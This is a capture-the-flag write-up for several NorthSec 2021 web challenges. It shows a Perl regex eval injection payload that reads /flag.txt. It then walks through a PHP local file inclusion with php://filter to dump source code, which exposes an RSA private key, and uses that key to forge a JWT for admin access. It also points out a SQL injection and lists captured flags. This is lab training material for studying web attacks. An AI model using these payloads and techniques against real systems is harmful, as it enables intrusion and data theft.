NorthSec CTF 2021

Submit a flag

https://www.nsec/scoreboard/submit-flag

CTF Solution

Code of conduct

There is a flag in the code of conduct.

FLAG: FLAG-742044716bbe0a9ebf74ea12814b3369

Scammed again

Tim, is posing as an oracle.
He told me my day would be memorable.

My love for this person I no longer had to contain.
But in reality, my efforts were all in vain.

Turns out he is nothing but a scammer.
He took my money and left my love to stagger.

Let’s teach him some lessons.
Stop him answering falsies to people’s questions.

Take control of the server.
I am sure we can execute code to get further.

Just look at that atrocious code 5.
It is just waiting to explode.

http://wizardchat.ctf/

http://wizardchat.ctf

Intercept requests using Burp Suite. Write something in the chat and send. This is a normal request sent by the web application.

POST /send HTTP/1.1
Host: wizardchat.ctf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 170
Origin: http://wizardchat.ctf
Connection: close
Referer: http://wizardchat.ctf/

msg=Pleb%7CDumb%7CBespawler%7CCumberworld%7CFopdoodle%7Cfustilugs%7Cfustilarian&censored_words=Pleb%7CDumb%7CBespawler%7CCumberworld%7CFopdoodle%7Cfustilugs%7Cfustilarian

There are censored words separated by a pipe. This seems like a Perl regular expression that could be exploited with this payload.

msg=\&censored_words=^)\/``cat /flag.txt``#\/gei } #

This is the vulnerable code.

$CACHED_PATTERNS{$pattern} = eval "sub { \$_[0] =~ s/($escaped_pattern)/\"*\"x (length \$1)/gie }" or croak $@;

FLAG: Found by other team member

Impurity Assessment Form

You know, my friend, we all have our ailings. I’ve had my fair share of scourges and infections, and the recent plague just shows that everybody can be an impure. The Herbal Purity folks have a form out there where people can submit what ails them.

Can you make sure all of that is safe? I mean, I wouldn’t want anybody to learn my little private secrets, if you know what I mean.

http://form.herbal-purity.ctf

Download the source code.

/include/Token.php

There is a debug parameter in the code. Add it to the URL.

http://herbal-purity.ctf/login.php?debug=1

string(85) "I3otKz0qBzE8emI2LTQ0dHoxOSx6YmluamlubWlgaWAl.807515a33c1f9d885330fbad89ace0607270d82e" 

Create a cookie named “token” with value “I3otKz0qBzE8emI2LTQ0dHoxOSx6YmluamlubWlgaWAl.807515a33c1f9d885330fbad89ace0607270d82e”

LoginPage.php

FLAG: Challenge not completed…

Security Feed Knight Portal

I got something a bit delicate for you. The valliant Knight Defenders are the protectors of the realm. But you can also hire their services for your personal security. Anyway, my client has a request for you. He’s using their application for managing their knights and cameras.

So, first, the client wants you to undertand more the system, and of course test your worth. Get familiarized with it, you should get access to my client’s interface. Check to see if you’re able to understand how this thing works.

http://knight-portal.ctf

There is a local file inclusion (LFI) vulnerability. Add anything after the / : http://knight-portal.ctf/a

Warning: include(a.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 43
Warning: include(): Failed opening 'a.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/index.php on line 43

This website is vulnerable to PHP Null Byte Injection (%00): http://knight-portal.ctf/a%00 truncates the rest of the line (.php) and gives a 404 Not Found.

Using the LFI and Null Byte vulnerabilities, we can get the source code of index.php (encoded in base 64):

http://knight-portal.ctf/php://filter/convert.base64-encode/resource=index

PD9waHAgCiAgICAjRkxBRy1kYTM4ZGM5M2NmOTRkZGM2NDMwZjFkNmM4MTRkNGU2NyAoMS8zKQogICAgaWYoIWRlZmluZWQoJ0FMTE9XX0FDQ0VTUycpKSBkZWZpbmUoJ0FMTE9XX0FDQ0VTUycsIHRydWUpOwogICAgc2Vzc2lvbl9zdGFydCgpOwoKICAgIGlmKGlzc2V0KCRfR0VUWyJsb2dvdXQiXSkpewogICAgICAgIHNlc3Npb25fZGVzdHJveSgpOwogICAgICAgIGhlYWRlcigiTG9jYXRpb246IC8iKTsKICAgICAgICBkaWUoKTsKICAgIH0KCiAgICBpZighaXNzZXQoJF9TRVNTSU9OWyJpZCJdKSl7CiAgICAgICAgJF9TRVNTSU9OWyJpZCJdID0gMDsKICAgIH0KICAgIAogICAgcmVxdWlyZV9vbmNlICdjb25maWcucGhwJzsKCiAgICBpZigkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSA9PT0gIi8iKXsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAvbG9naW4iKTsKICAgICAgICBkaWUoKTsKICAgIH0KCiAgICAkcGFnZSA9IGV4cGxvZGUoJz8nLCBzdWJzdHIoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sIDEpLCAyKVswXTsKICAgIGlmKCRwYWdlID09PSAiaW5kZXgiKXsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAvbG9naW4iKTsKICAgICAgICBkaWUoKTsKICAgIH0KPz4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgogICAgPGhlYWQ+CiAgICAgICAgPHRpdGxlPkJhcm9uIEdldm9kYW4gU2FsaXNidXJ5J3MgU2VjdXJpdHkgS25pZ2h0IFBvcnRhbDwvdGl0bGU+CiAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNS4xLmpzIj48L3NjcmlwdD4KICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJqcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyI+PC9zY3JpcHQ+CiAgICAgICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iY3NzL2Jvb3RzdHJhcC5taW4uY3NzIj4KICAgICAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgICAgICAgICBib2R5IHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMzMzM7CiAgICAgICAgICAgIH0KICAgICAgICA8L3N0eWxlPgogICAgPC9oZWFkPgogICAgPGJvZHk+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj48P3BocCBpbmNsdWRlKCRwYWdlLiIucGhwIik7ID8+PC9kaXY+CiAgICA8L2JvZHk+CjwvaHRtbD4K

Decode the code from base 64

<?php 
    #FLAG-da38dc93cf94ddc6430f1d6c814d4e67 (1/3)
    if(!defined('ALLOW_ACCESS')) define('ALLOW_ACCESS', true);
    session_start();

    if(isset($_GET["logout"])){
        session_destroy();
        header("Location: /");
        die();
    }

    if(!isset($_SESSION["id"])){
        $_SESSION["id"] = 0;
    }
    
    require_once 'config.php';

    if($_SERVER["REQUEST_URI"] === "/"){
        header("Location: /login");
        die();
    }

    $page = explode('?', substr($_SERVER["REQUEST_URI"], 1), 2)[0];
    if($page === "index"){
        header("Location: /login");
        die();
    }
?>
<!DOCTYPE html>
<html>
    <head>
        <title>Baron Gevodan Salisbury's Security Knight Portal</title>
        <script type="text/javascript" src="https://code.jquery.com/jquery-3.5.1.js"></script>
        <script type="text/javascript" src="js/bootstrap.bundle.min.js"></script>
        <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
        <style type="text/css">
            body {
                background: #333;
            }
        </style>
    </head>
    <body>
        <div class="container"><?php include($page.".php"); ?></div>
    </body>
</html>

FLAG (1/3): FLAG-da38dc93cf94ddc6430f1d6c814d4e67

Get the config.php file.

http://knight-portal.ctf/php://filter/convert.base64-encode/resource=config

<?php
    if(!defined('ALLOW_ACCESS')) {
        echo "Can't access directly."; 
        die();
    }

    require_once __DIR__ . '/vendor/autoload.php';

    define("HOSTNAME", "knight-portal.ctf");
    define("DEFAULT_USER_ID", 0);
    define("EXPIRATION_IN_MINUTE", 60*10);
    define("PRIVATE_KEY", <<<EOD
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAv/C35qbLBlFAPsNIBpd+jCM+PeGLdecF322miubjQXbulqcS
epWf/oB+sk/CHQUz8q4IsPQVGe6750vDTCuqHT3ap2AyHw0jtn4PckRAmUSZS+8l
ZduToym8n0YsU5FrqkAmqeA2ARse6/tHA0ZOy5Fhk/dQ/er6o8mO/s+EZglmvO5R
1mqABLFJU6FY7Na9i85mllr0glcNv9k6qQ3K6hhVGtREJpjLatvl1jYVtodAk4Bn
esUrjkyisjnRBgOimp9o83n0I4Co44d2gFdbU3dw3u9pHmQywLMMoPEesk67cGY1
WYrWI8Dz6xtgN6cr+WJXI38tT9ZZf2pUnRYw0fQ5oWKA4Kz+UtTMx5akgasl6E5x
Ixz6F2YKb7SkTTpuJQ6ZP2ZOGBT5ZLAX1cqgoAgyLnOjhexx4eK+78JS5JZOstrc
Xi5ciBCmMAzqNx3zpOoOPVV8i+1DYtwi0ObO/WFnJu4R92ogy04fgQjy+oH6TJUc
MJXDK1qWOBdjgL+OjD9u+zikGvzqnDrb6HHJjTy0DlLpjrxKqq+sneHygn9xQDDz
XZqAJLTJ2mgTFcCogwmwl2vgMgnohJ/DG2RPHypQjgxwgIMZVnYgPwKyzQV1WPeb
2EoEhhpmYfc37N8wDp1O6DN4xmwdJ9uRKsSONtdAVQRSTt4nqsLjrSZfz1UCAwEA
AQKCAgBGWR/N9cvroNP/LOu1HslO64vgek33BJlubm3f8wfP8ps3tDxdmYFucgH9
sKXgpQuJIqgk0xD41DsiZu5JeKd82DLPrb4xC0vPkxxuMP3MLwxQfHIkhvnxj1aG
ud19M4tWdvS0xmyEsz/+FbbNSHOQwNQWu0qABiOe7Dzwv3YzP7bcAC0WfSo2jhPm
BvjktT/7gcavzN5Y9zce3atWUqvQaOKoVqwzyUSlAbuXa3NB1wigByvmH2X7XbMz
x2UI40Qxj8OTmVsVuA4udnPETkA2s0w3KWBJt0eywO0b/8PUbm7cn1lmXDBoIkxE
G2CEhUzktlphtDcTT+i1fm9Ms9loNiPf+SK+X5maQThNkqbmTS344E0uWw+rAfE4
yjVfuxCvpCqxVrAbDRtuusgl1ES26erbPhCOWyuZA1btOTyw1jy1V9cc8Ruz1l24
477WUTFfyVycdbPqorXcvDi4tr3hDfPVfWB58tJRk2Flyd1RVUoz+w+kxHXDQQzA
+Qrp5g8KcrLEb9l1gvPZtYAg2ZfgaloTff1bK9+tgtWtcZd3cSFAKEEYUQhZYYYJ
REPDZFZnu0GqNJe6bDzmAoGeO5PTX8HBhTNZXy8kBWT7tKM/mwQJpSsmMGRZSjY9
zcaVkOUcucKir7SWWNkaDsq0LyQ0zTsKHJkp1dNLldaI6iZVAQKCAQEA/oNYWmR6
xc48FwhIi+mAlhKOoZ1HCaxzd9+/W4Z+9cPyPN/8fbiunXsIKcoEyxBSfZMrc4EJ
BehYo6zOQAaS0Fe4NLvv0ooQ7A3xAYQMdEg0U+2cyjApZ4B2SWUMuCEEx19QFRQh
GLrDbcFmeLuwCTq6QfvkgdS60wCuz84ITJYEZLrtErRuUq/lUWToaTmlHbhddOmd
MG+0MFUbTi+9QZSFxyzCSCf9mF0yM1PpbQqSRUATK0QqisSN1XU7d3kwj4Q1wD6g
64BpYxWDQ1H7I5ydIJLRsMX60OEE/WgkunCCM5AYRD76Vhhxo+vgYhGzJD0MCbe3
Wq7Jmh4HMX4FBQKCAQEAwQ/JxFdRzIBCHBVApBy/TTfHK5c1ueJbvRiKoCjTl6nJ
NnqT2bCifos83mRRsoCJwFFIZOq4zNo8I1GPXiBjIrayIKTK3atypQaVZkqlx/vU
6TYYA7oy9fYWX0UcOKuV/2XjtZY1Q9bJMMfm3BD5XAUW5OLTLMImG7otbtkuFwxO
XnaXIwRg8po+bAZCItCvRRyKMzXcDA82widKkVI2l2xA5f1Wym3ecpaTjEzXEDKu
CCpfcAmPJjgaxvuhoNhUoB11Vy8z7qUKsoOqjMlDeFad0JbouBULyvQ/IkOz8SLR
s2BLU6E9ua9rJSK46FgQwBovXIkLZVHmTjjkvrSyEQKCAQEAkX3UDBhUdq8meqQp
lJGvCBsjng+ihE0o1OX7Jf8EpMmWuGXymIvyhePHDtyFUO/LuC1hMW4aEl54DVjD
rqYTVzZN/xdQSTLT6Z0uoIcz92UvRKsYbhyKDrjI5bv2QWvep3o89U/Ee7aH8T4V
rf7c6um/f+jW/8Dz65sAU5qb8+vuJwcUbxTl3C7hEF523XAui4bRJfxF92Jjxx1f
tppjvhGBSBK2HTl/JpJgGCdn0QWyCBRQ4PLevuUNj3CsxedpcyFI+NTUeMu3cwTh
PKKoxfrJd812QW9rqex4RcQ6+rlGNOOye5Dk2kKu893rLySfG6AqOYPkNNqmNIvl
4M0BYQKCAQAhqMECrD6kqs/b2ZC1jBWGPu1ImkpRqDdaVocEuVl6na1pBCH22Cbc
bSYll9PujR53GzTF825YuMu3VKbsQDVIfhW8Pz7nOtb4EpfFh8ozfaJ3LmktbS8p
Vsg7v+7VqoSyTG9Q32lV9IKLMK79OzBebLy7Fxi+OvMt7l2xb8frWMfpDD/5aPAG
HAI6DzVEoKGOKRWnLAK7T4O6geMsRushp0wBTRPuow0faUU8NsFgH5Xb8pdFD0WX
4jw46PIa+tx2NeyZUK97MecVjIMVnJlYx7EoBsd4IKM3tTG0pZ0fs3RgE6/OWtRK
JV1G0jDuwTvaYjZTqckE1yySArVO0m4hAoIBAQDJrtzGH5GG655no8BOcYcyvhG4
s6oFq5cLyNE2m4vteehkmEg+AvSigDsCj6wZVTkkLR2j8sZzofvFYNFH8H7g8jku
YL5UX8lQ5Ol7dfklnOJTl8HX4yAq/uljdk0O9SbZy8n39bVgeMgMtJG1vSphQIl+
lf5h4G4oRvpxLU7oD2Gk62WEsxVkWXQ+tGJHn2FTwkeFqbk8ODML6ETL6AZpimjy
vLsOnHak8+GAu8UE/uK5xeKOZgHeH694pt9Hb3SuFijbGItKOej35c6bRI91Xhil
Hywm2p/cYIX/ya40cUR6OaH3FPwYlUqSWC11uPOD9+92reAAJwdXyimf5N1+
-----END RSA PRIVATE KEY-----
EOD);
    define("PUBLIC_KEY", <<<EOD
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAv/C35qbLBlFAPsNIBpd+
jCM+PeGLdecF322miubjQXbulqcSepWf/oB+sk/CHQUz8q4IsPQVGe6750vDTCuq
HT3ap2AyHw0jtn4PckRAmUSZS+8lZduToym8n0YsU5FrqkAmqeA2ARse6/tHA0ZO
y5Fhk/dQ/er6o8mO/s+EZglmvO5R1mqABLFJU6FY7Na9i85mllr0glcNv9k6qQ3K
6hhVGtREJpjLatvl1jYVtodAk4BnesUrjkyisjnRBgOimp9o83n0I4Co44d2gFdb
U3dw3u9pHmQywLMMoPEesk67cGY1WYrWI8Dz6xtgN6cr+WJXI38tT9ZZf2pUnRYw
0fQ5oWKA4Kz+UtTMx5akgasl6E5xIxz6F2YKb7SkTTpuJQ6ZP2ZOGBT5ZLAX1cqg
oAgyLnOjhexx4eK+78JS5JZOstrcXi5ciBCmMAzqNx3zpOoOPVV8i+1DYtwi0ObO
/WFnJu4R92ogy04fgQjy+oH6TJUcMJXDK1qWOBdjgL+OjD9u+zikGvzqnDrb6HHJ
jTy0DlLpjrxKqq+sneHygn9xQDDzXZqAJLTJ2mgTFcCogwmwl2vgMgnohJ/DG2RP
HypQjgxwgIMZVnYgPwKyzQV1WPeb2EoEhhpmYfc37N8wDp1O6DN4xmwdJ9uRKsSO
NtdAVQRSTt4nqsLjrSZfz1UCAwEAAQ==
-----END PUBLIC KEY-----
EOD);

We found a pair of keys. Get the code for login.php to understand how to use the keys.

http://knight-portal.ctf/php://filter/convert.base64-encode/resource=login

<?php 
    if (!defined('ALLOW_ACCESS')) {
        echo "Can't access directly."; 
        die();
    }

    use \Firebase\JWT\JWT;
    
    if(isset(getallheaders()['Authorization'])){
        $decoded = JWT::decode(substr(getallheaders()['Authorization'], strpos(getallheaders()['Authorization'], "Bearer ") + strlen("Bearer ")), PUBLIC_KEY, array('RS256'));
        if($decoded){
            $_SESSION["id"] = $decoded->userId;
        }
    } else {
        $payload = array(
            "iss" => "http://".HOSTNAME,
            "iat" => time(),
            "nbf" => time(),
            "exp" => time()+EXPIRATION_IN_MINUTE,
            "userId" => DEFAULT_USER_ID
        );

        $jwt = JWT::encode($payload, PRIVATE_KEY, 'RS256');
        header("Authorization: Bearer " . $jwt);
    }

    if($_SESSION["id"] !== 0){
        header("Location: /home");
        die();
    }

    if(isset($_POST["signin"], $_POST["username"], $_POST["passwd"])){
        $username = $_POST["username"];
        $passwd = $_POST["passwd"];

        $sql = new SQLite3("db/db.sql", SQLITE3_OPEN_READONLY);
        $stmt = $sql->prepare('SELECT id FROM login WHERE username=:username AND passwd=:passwd');
        $stmt->bindValue(':username', $username, SQLITE3_TEXT);
        $stmt->bindValue(':passwd', $passwd, SQLITE3_TEXT);
        $cursor = $stmt->execute();
        $result = $cursor->fetchArray(SQLITE3_ASSOC);
        if($result){ 
            $_SESSION["id"] = intval($result["id"]);
            header("Location: /home");
            die();
        }  else {
            $error = "Invalid credentials.";
        }
    }
?>
<style type="text/css">
    .login {
        border: 1px solid #aaa;
        background: #fff;
        box-shadow: 0px 0px 20px 10px rgba(0, 0, 0, 0.12);
        padding:30px;
        width: 475px;
        margin: auto;
        position: absolute;
        top: 50%;
        left: 50%;
        -ms-transform: translate(-50%, -50%);
        transform: translate(-50%, -50%);
    }
</style>
<div class="login">
    <form method="POST" action="/login">
        <h1>Baron Gevodan Salisbury's Security Knight Portal</h1>
        <hr>
        <?php if(isset($error) && !empty($error)){ ?><div class="alert alert-danger"><?php echo $error; ?></div><?php } ?>
        <div class="form-group">
            <label for="username">Username</label>
            <input type="text" class="form-control" name="username" id="username">
        </div>
        <div class="form-group">
            <label for="passwd">Password</label>
            <input type="password" class="form-control" name="passwd" id="passwd">
        </div>
        <button type="submit" class="btn btn-primary" name="signin" value="signin">Sign in</button>
    </form>
</div>

Intercept request using Burp. Enter something in the login form and click Sign in. The application generates a JWT token even when not logged in, for user id = 0.

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9rbmlnaHQtcG9ydGFsLmN0ZiIsImlhdCI6MTYyMTczNzkzOCwibmJmIjoxNjIxNzM3OTM4LCJleHAiOjE2MjE3Mzg1MzgsInVzZXJJZCI6MH0.NB1UhWKAKRG0-m_zzjgB_W8rs6ri4R22a45-ta4_JeFc7QsRiaH_ccdj0uvg4sB9I7oRhT61xp6p0mNGq94WdskuFc3Yvv9SS44kFKdK07UTWWXt1h-jHwEu28N7EWnM490msh8lwZQzRrcpa41KetfPT89b8DmVrF2dl5yoJ2zl9tQQgaq1w6vuG7jvyhnQ_sxJtpHx92wwZtghRZCrRL4Wz4NKCih7bvUMQ77al2bRMojT_A9bY6H16STYrUwEiOlFUbid0LBP5jrJRm4cxZYqGT7ZSO__oDxFVvF0EODmuQ1ZwIaqOWtiKQzrL7yp60cd94OxAO9Z3OJK0CTez9S5tj6NtPLXrUlCiHz1PITGl-rULGRoyd9R6g4I2QaTHazzM72vaPEW87P6Sbh6JlYTolLJaZKG4p0c9yBtjwsFvpTHzcxYlNnr1RGgIsmJMnJ0v6nIZrd-hEQAqegPRWBtYWn2toBcM6xw-cLYjRl29lj4I-S854hnuLOfbZHEJCIQ3steGxNbh9huVR6CH7dpHG8ZIuVOHiCb6s968gjljiqbsOWLHKv5iQzkartM0IMFB9iyu49xhXjhluNhRoW9RVF9noR-4VB3GAVXtCk2hedInMrQAQwsGnije0DnLQEg3EkUKAmIy4L0KgvuaXpZgTLMhLh4352EnAsFKlQ

Use https://jwt.io/ to edit the JWT token using the key pair found in config.php. Change userId from 0 to 1. Flag #2 is in the server response.

GET /home HTTP/1.1
Host: knight-portal.ctf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://knight-portal.ctf
Connection: close
Referer: http://knight-portal.ctf/login
Cookie: PHPSESSID=5vjhkqpd8n2420g2ru2asn8rij
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOi8va25pZ2h0LXBvcnRhbC5jdGYiLCJpYXQiOjE2MjE3Mzc5MzgsIm5iZiI6MTYyMTczNzkzOCwiZXhwIjoxNjIxNzM4NTM4LCJ1c2VySWQiOjF9.s8-pwM86s_GVx-TdnVtPV_4dMN-FworyiG7lVfU6dGJL-LL-ZYI-e5hLM20Z81V_FDQy3pha7fABGwosNmonmjBKvbUTzqvva0MYUFCaq9cmOo_CQ10C2C3g2KNoZgUNt7T3ZEx_YdvhD7pZCnVrBhDrTUHNgHGY_nuiOYOgUqVeXLP_gAaqEQlKoI5Yt84lqlFLPeWHugzltKA47VoN_2Tr-mXeeqEpscnYBNKgjXEt4yW4-ZyEvGU5uyLcuuIRXGOqCfzIRLQTD1PufoyqlwTob6IUHQmW6pRiyMcWWCj9o8Nj-1T6rkmCyshia_dFWnz5bAeU-nXcF4RdqMs9N13f9-sJLsQ2goMW5VaJJ785BLJAWKriWWjqySF41jYvW2D3Xi4Wr1j90Q9WZSqsr-KEoNaeWsIg4tkjW0_V6MII0qT4md3_PJip0oKbHFfDmZ4ILJqQM4UlXa3loK4IufkmrB0VOO07_KvcSiNyyiRRGxuYBPWO-i5P80kBUH4d2BUbq0WN97kg3ymWqgK2tI4a_vWaL9MdNRorO5X8RX3bj432SAroLGUTfM8YtsaMtqBTmNy4BwXmpJNZ0gPhy9T9R1RPMj3gW_dLfm5AFnGg9uvA7vFnDYKsXkX1lhRy-i1XQ_0oqnjwt0WrTmNM_UdYqOGTqJ5DTvtUGH4BPLM
Upgrade-Insecure-Requests: 1

FLAG (2/3): FLAG-f7d92b9ec47cc4a0123cba89dbee70d5

Get the code for home.php.

http://knight-portal.ctf/php://filter/convert.base64-encode/resource=home

<?php 
    if(!defined('ALLOW_ACCESS')) {
        echo "Can't access directly."; 
        die();
    }

    if($_SESSION["id"] === 0){
        echo "You need to be signed in to access this page"; 
        die();
    }

    if($_SESSION["id"] === 1){
        echo "<div class=\"alert alert-info\">".file_get_contents("flag2")."</div>";
    }

    $sql = new SQLite3("db/db.sql");
    $sql->enableExceptions(true);
    $availableCameras = array("1b26f36e-9347-468e-b006-3f42bb12c6b7"=>"Castle Entrance", "ca438203-4f73-4b94-a17f-85d4f0fe70ea"=>"Royal Bathroom", "d1f3160f-30ca-4cb4-8b05-1ad16d6554ad"=>"Secret Room");
    if(isset($_POST["submit"], $_POST["first_name"], $_POST["last_name"], $_POST["salary"], $_POST["cameras"], $_POST["notes"])){
        $cameras = array();
        if(preg_match("/[^a-z0-9\.­.\-' ]+/i", $_POST["first_name"])){
            $error = "First name contains invalid characters/keywords.";
        }

        if(preg_match("/[^a-z0-9\.\- ]+/i", $_POST["last_name"])){
            $error = "Last name contains invalid characters/keywords.";
        }

        if(isset($_POST["cameras"])){
            foreach ($_POST["cameras"] as $camera) {
                if(!empty($camera) && !in_array($camera, array_keys($availableCameras))){
                    $error = "Camera must be [".implode(", ", $availableCameras)."].";
                } else {
                    array_push($cameras, $camera);
                }
            }
        }

        if(!isset($error)){
            try{
                $result = $sql->exec("UPDATE knight SET first_name = '".$_POST["first_name"]."', last_name = '".$_POST["last_name"]."', salary = ".intval($_POST["salary"]).", cameras = '".implode(",", $cameras)."', notes = '".SQLite3::escapeString($_POST["notes"])."' WHERE id=".$_SESSION["id"]);

                if(!$result){
                    $error = "Update of the profile didn't work.";
                }
            } catch(Exception $e){
                if(isset($_GET["debug"])){
                    $error = $e;
                }
            }
        }
    }

    $results = $sql->query("SELECT * FROM knight WHERE id = 1");
    $knight = $results->fetchArray(SQLITE3_ASSOC);
    if($knight && !empty($knight["cameras"])){
        $knight["cameras"] = explode(",", $knight["cameras"]);
    }
?>
<style type="text/css">
    .home {
        border: 1px solid #aaa;
        background: #fff;
        box-shadow: 0px 0px 20px 10px rgba(0, 0, 0, 0.12);
        padding:30px;
        width: 675px;
        margin: auto;
        position: absolute;
        top: 50%;
        left: 50%;
        -ms-transform: translate(-50%, -50%);
        transform: translate(-50%, -50%);
    }
</style>
<div class="home">
    <form method="POST" action="<?php echo htmlentities($_SERVER['REQUEST_URI']); ?>">
        <h1>Welcome Baron Gevodan Salisbury!</h1>
        <h5>Update your knight information</h5>
        <p>A quick reminder that this is the portal where you can edit the information about the knight that has access to the kingdom's security cameras. The selected cameras are the ones that the knight has access to.</p>
        <hr>
        <?php if(isset($error) && !empty($error)){ ?><div class="alert alert-danger"><?php echo htmlentities($error); ?></div><?php } ?>
        <div class="form-group">
            <label for="first_name">First Name</label>
            <input type="text" class="form-control" name="first_name" id="first_name" value="<?php echo htmlentities($knight["first_name"])?>">
        </div>
        <div class="form-group">
            <label for="last_name">Last Name</label>
            <input type="text" class="form-control" name="last_name" id="last_name" value="<?php echo htmlentities($knight["last_name"])?>">
        </div>
        <div class="form-group">
            <label for="salary">Goat Pieces</label>
            <input type="text" class="form-control" name="salary" id="salary" value="<?php echo htmlentities($knight["salary"])?>">
        </div>
        <div class="form-group">
            <label for="camera">Cameras</label>
            <select class="form-control" multiple name="cameras[]" id="camera"><?php foreach ($availableCameras as $camera => $location) { ?>
                <option value="<?php echo $camera; ?>"<?php if(in_array($camera, $knight["cameras"])) echo " selected"?>><?php echo htmlentities($location); ?></option>
            <?php } ?></select>
        </div>
        <div class="form-group">
            <label for="notes">Notes</label>
            <textarea class="form-control" name="notes" id="notes"><?php echo htmlentities($knight["notes"])?></textarea>
        </div>
        <button type="submit" class="btn btn-primary" name="submit" value="submit">Submit</button>
    </form>
</div>

We find a debug mode. We also see that parameter first_name is vulnerable to SQL injection. Try the debug mode and change First Name to Sir’

http://knight-portal.ctf/home?debug=1

Exception: near "Spearalot": syntax error in /var/www/html/home.php:41 Stack trace: #0 /var/www/html/home.php(41): SQLite3->exec() #1 /var/www/html/index.php(43): include('/var/www/html/h...') #2 {main}

FLAG (3/3): Not completed…

The Happy Harvester

Aye, I got a lad that came here recently and told me about a job for someone of your kind. Here’s the advertisement parchment for their business. Weird stuff. Who needs help for harvesting? That’s the happiest part of being a farmer, claiming the fruit of your hard labor! Anyway, let me know if you find anything.

The Happy Harvesters
Tired of all the efforts needed to get your crops out of your field? These potatoes keep growing and you want them out?
Submit all the information related to what you want us to take care of and we’ll contact you back with a quote. Your harvesting contract is in good hands with the Happy Harvesters!

Intercept requests using Burp.

Look at the source code of the page. There is a flag in comments.

FLAG (1/3): FLAG-c40de99adab61f8c790152f5d5b411c7